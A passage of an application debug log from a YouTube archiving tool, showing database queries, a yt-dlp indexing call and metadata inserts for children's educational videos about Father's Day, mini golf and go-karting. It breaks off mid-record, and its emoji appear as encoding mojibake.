~U[2026-07-01 14:00:28Z]] 13:16:54.290 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=216.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:54.291 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=11.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:54.292 [debug] QUERY OK source="media_items" db=0.5ms idle=11.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9784] 13:16:54.293 [debug] Current batch of media processed. Will check again in 1000ms 13:16:55.293 [debug] Current batch of media processed. Will check again in 1000ms 13:16:56.298 [debug] Current batch of media processed. Will check again in 1000ms 13:16:57.299 [debug] Current batch of media processed. Will check again in 1000ms 13:16:58.301 [debug] Current batch of media processed. Will check again in 1000ms 13:16:59.304 [debug] Current batch of media processed. Will check again in 1000ms 13:17:00.308 [debug] Current batch of media processed. Will check again in 1000ms 13:17:00.939 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:01.311 [debug] Current batch of media processed. Will check again in 1000ms 13:17:01.528 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@OzzieForKids --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/7a/99/7a9973dff15426f8aca8194b01f59e94f4bf36a3f5a010ab671a3f7190d6c05e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3d/91/3d91374bf227cd3c3359f64a87586cfb298f553f3de3dd662fbea29660b009da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 13:17:01.532 [debug] Gracefully stopping file follower 13:17:01.535 [debug] QUERY OK source="sources" db=1.9ms queue=0.3ms idle=1906.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:17:01.537 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=1908.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.541 [debug] QUERY OK source="media_items" db=2.8ms queue=0.2ms idle=1422.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-09-02 20:00:39Z], 7] 13:17:01.553 [debug] QUERY OK source="media_items" db=10.6ms idle=601.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["πŸ’šπŸŽ΅ Sing along with Ozzie to I Love My Dad, a funny and feel-good Father’s Day song celebrating all the amazing dads and father figures out there!\n\nDads tell bad jokes, do funny dances, fall asleep watching TV and sometimes think they can fix absolutely anything! They can be silly, embarrassing and a little bit weird β€” but that’s exactly why we love them!\n\nGet ready to sing, dance, laugh and celebrate all the little things that make Dad special.\n\n🎡 I love my Dad!\nYes, I do!\nThere’s nobody quite as weird as you!\nI love my Dad!\nHe’s number one!\nHe’s silly, he’s crazy, he’s lots of fun!\n\nSing it for your dad, grandad, stepdad or another awesome father figure in your life and let them know just how much they mean to you.\n\nPerfect for Father’s Day, preschool, kindergarten, classrooms and families looking for a fun song to celebrate Dad!\n\nKids will learn about:\nβ€’ Celebrating dads and father figures\nβ€’ Showing love and appreciation\nβ€’ Families being special in different ways\n\nTopics kids will learn about in this video:\nβ€’ Father’s Day song for kids\nβ€’ I love my dad song\nβ€’ funny dad song for kids\nβ€’ songs about dads for kids\nβ€’ Father’s Day for kids\nβ€’ family songs for kids\nβ€’ Father’s Day song for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#FathersDay #FathersDaySong #ILoveMyDad #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie", "6e6a12b8-81da-4e69-9912-fa3cc72c3b38", 147, false, "DNmCbpKM_xY", "https://www.youtube.com/watch?v=DNmCbpKM_xY", 1, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-09-02 - I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-09-02 20:00:39Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "πŸ’šπŸŽ΅ Sing along with Ozzie to I Love My Dad, a funny and feel-good Father’s Day song celebrating all the amazing dads and father figures out there!\n\nDads tell bad jokes, do funny dances, fall asleep watching TV and sometimes think they can fix absolutely anything! They can be silly, embarrassing and a little bit weird β€” but that’s exactly why we love them!\n\nGet ready to sing, dance, laugh and celebrate all the little things that make Dad special.\n\n🎡 I love my Dad!\nYes, I do!\nThere’s nobody quite as weird as you!\nI love my Dad!\nHe’s number one!\nHe’s silly, he’s crazy, he’s lots of fun!\n\nSing it for your dad, grandad, stepdad or another awesome father figure in your life and let them know just how much they mean to you.\n\nPerfect for Father’s Day, preschool, kindergarten, classrooms and families looking for a fun song to celebrate Dad!\n\nKids will learn about:\nβ€’ Celebrating dads and father figures\nβ€’ Showing love and appreciation\nβ€’ Families being special in different ways\n\nTopics kids will learn about in this video:\nβ€’ Father’s Day song for kids\nβ€’ I love my dad song\nβ€’ funny dad song for kids\nβ€’ songs about dads for kids\nβ€’ Father’s Day for kids\nβ€’ family songs for kids\nβ€’ Father’s Day song for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#FathersDay #FathersDaySong #ILoveMyDad #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie", 147, false, "DNmCbpKM_xY", "https://www.youtube.com/watch?v=DNmCbpKM_xY", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-09-02 - I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie.mp4", false, 7, ~U[2026-09-02 20:00:39Z]] 13:17:01.560 [debug] QUERY OK source="sources" db=5.8ms queue=0.1ms idle=425.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.563 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=25.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-30 05:00:03Z], 7] 13:17:01.584 [debug] QUERY OK source="media_items" db=19.0ms queue=0.1ms idle=27.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It’s Ozzie vs Nomes in the ultimate Mini Golf Challenge!\n\nLooking for fun educational videos for kids? Ozzie & Nomes explore sports, challenges, machines and how things work!\n\nThis time, Ozzie & Nomes are hitting the mini golf course and going head-to-head to find out who has the best putting skills!\n\nJoin them as they take on crazy obstacles, tricky holes and plenty of surprises in an awesome putt putt battle. Along the way, they’ll learn how mini golf works, discover some fun golf words and practise their aim, control and putting skills.\n\nBut there’s one very important question…\n\nWho Will Win the Ozzie vs Nomes Trophy?! πŸ†\n\nβ€’ Who will sink the best putt?\nβ€’ Will anyone get a hole in one?\nβ€’ Can they score a birdie or an eagle?\nβ€’ Will Ozzie or Nomes become the Mini Golf Champion?\n\nPick your team before you watch β€” Team Ozzie or Team Nomes?\n\nPerfect for curious kids aged 2–10 who love sport, challenges, friendly competition and having a go!\n\nKids will learn about:\nβ€’ How mini golf and putting work\nβ€’ Golf words like par, birdie, eagle and hole in one\nβ€’ Aim, control and coordination\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Mini Golf For Kids\nβ€’ Putt Putt For Kids\nβ€’ Mini Golf Challenge For Kids\nβ€’ How To Play Mini Golf\nβ€’ Golf For Kids\nβ€’ Putting Skills For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSubscribe and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #MiniGolfChallenge #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?", "6f3c7bee-b632-4989-8c95-676fc9694ae3", 1285, false, "6yc5cOD9RNs", "https://www.youtube.com/watch?v=6yc5cOD9RNs", 2, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-30 - Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?.mp4", false, false, false, 7, [], 98, ~U[2026-08-30 05:00:03Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "It’s Ozzie vs Nomes in the ultimate Mini Golf Challenge!\n\nLooking for fun educational videos for kids? Ozzie & Nomes explore sports, challenges, machines and how things work!\n\nThis time, Ozzie & Nomes are hitting the mini golf course and going head-to-head to find out who has the best putting skills!\n\nJoin them as they take on crazy obstacles, tricky holes and plenty of surprises in an awesome putt putt battle. Along the way, they’ll learn how mini golf works, discover some fun golf words and practise their aim, control and putting skills.\n\nBut there’s one very important question…\n\nWho Will Win the Ozzie vs Nomes Trophy?! πŸ†\n\nβ€’ Who will sink the best putt?\nβ€’ Will anyone get a hole in one?\nβ€’ Can they score a birdie or an eagle?\nβ€’ Will Ozzie or Nomes become the Mini Golf Champion?\n\nPick your team before you watch β€” Team Ozzie or Team Nomes?\n\nPerfect for curious kids aged 2–10 who love sport, challenges, friendly competition and having a go!\n\nKids will learn about:\nβ€’ How mini golf and putting work\nβ€’ Golf words like par, birdie, eagle and hole in one\nβ€’ Aim, control and coordination\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Mini Golf For Kids\nβ€’ Putt Putt For Kids\nβ€’ Mini Golf Challenge For Kids\nβ€’ How To Play Mini Golf\nβ€’ Golf For Kids\nβ€’ Putting Skills For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSubscribe and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #MiniGolfChallenge #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?", 1285, false, "6yc5cOD9RNs", "https://www.youtube.com/watch?v=6yc5cOD9RNs", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-30 - Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?.mp4", false, 7, ~U[2026-08-30 05:00:03Z]] 13:17:01.587 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=44.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.594 [debug] QUERY OK source="media_items" db=5.6ms queue=0.1ms idle=35.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-26 19:00:00Z], 7] 13:17:01.601 [debug] QUERY OK source="media_items" db=5.7ms queue=0.1ms idle=34.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["β›³πŸŽ΅ It’s time to play PUTT PUTT with Ozzie & Nomes!\n\nGrab your imaginary putter and join Ozzie & Nomes for a super-fun Mini Golf Song for Kids as they take on the putt putt course and battle it out for the Ozzie vs Nomes Trophy!\n\nWatch the ball roll around corners, over obstacles and towards the hole as Ozzie & Nomes line up their shots and try to sink the perfect putt.\n\nCan they score a hole in one?!\n\nSing, clap and move along as we discover the fun of mini golf, practise our aim and learn that friendly competition is all about giving it a go and having fun together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How mini golf works\nβ€’ Aiming and controlling a putt\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ mini golf for kids\nβ€’ putt putt song for kids\nβ€’ mini golf song for kids\nβ€’ how to play mini golf\nβ€’ hole in one for kids\nβ€’ golf explained for kids\nβ€’ golf for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids", "b866214f-d7da-4ea1-9386-a24e42a3582d", 116, false, "yyyP5Nd2IF0", "https://www.youtube.com/watch?v=yyyP5Nd2IF0", 3, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-26 - Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-08-26 19:00:00Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "β›³πŸŽ΅ It’s time to play PUTT PUTT with Ozzie & Nomes!\n\nGrab your imaginary putter and join Ozzie & Nomes for a super-fun Mini Golf Song for Kids as they take on the putt putt course and battle it out for the Ozzie vs Nomes Trophy!\n\nWatch the ball roll around corners, over obstacles and towards the hole as Ozzie & Nomes line up their shots and try to sink the perfect putt.\n\nCan they score a hole in one?!\n\nSing, clap and move along as we discover the fun of mini golf, practise our aim and learn that friendly competition is all about giving it a go and having fun together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How mini golf works\nβ€’ Aiming and controlling a putt\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ mini golf for kids\nβ€’ putt putt song for kids\nβ€’ mini golf song for kids\nβ€’ how to play mini golf\nβ€’ hole in one for kids\nβ€’ golf explained for kids\nβ€’ golf for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids", 116, false, "yyyP5Nd2IF0", "https://www.youtube.com/watch?v=yyyP5Nd2IF0", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-26 - Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids.mp4", false, 7, ~U[2026-08-26 19:00:00Z]] 13:17:01.604 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=38.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.610 [debug] QUERY OK source="media_items" db=4.3ms queue=0.2ms idle=21.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-23 05:00:27Z], 7] 13:17:01.614 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=23.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It’s Ozzie vs Nomes in an epic eKarting challenge! πŸŽοΈβš‘πŸ†\n\nWho will be the fastest around the track? Who will cross the finish line first? And who will take home the trophy β€” Ozzie or Nomes?!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIt's Ozzie vs Nomes as they hit the eKarting track for an awesome go-kart racing adventure! \n\nBuckle up as Ozzie & Nomes learn how to drive a go-kart, steer around the track, tackle the corners and race towards the finish line. Along the way, they'll discover how go-kart racing works and why following the rules and staying safe on the track is so important.\n\nThen it's race time!\n\nWill Ozzie speed to victory? Can Nomes race past him and take home the win? There's only one way to find out β€” πŸ† The Ozzie vs Nomes Trophy!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love cars, racing, machines and exciting new adventures.\n\nKids will learn about:\nβ€’ How go-kart racing works\nβ€’ How to steer and control a go-kart\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Go Karting For Kids\nβ€’ Go Kart Racing For Kids\nβ€’ eKarting For Kids\nβ€’ How Go Karts Work\nβ€’ Racing For Kids\nβ€’ Go Kart Safety For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #GoKartRacing #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids", "3c37bba8-bc39-497c-b7a9-42293e2c1541", 1888, false, "d-3wic1qtVM", "https://www.youtube.com/watch?v=d-3wic1qtVM", 4, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-23 - Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-08-23 05:00:27Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "It’s Ozzie vs Nomes in an epic eKarting challenge! πŸŽοΈβš‘πŸ†\n\nWho will be the fastest around the track? Who will cross the finish line first? And who will take home the trophy β€” Ozzie or Nomes?!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIt's Ozzie vs Nomes as they hit the eKarting track for an awesome go-kart racing adventure! 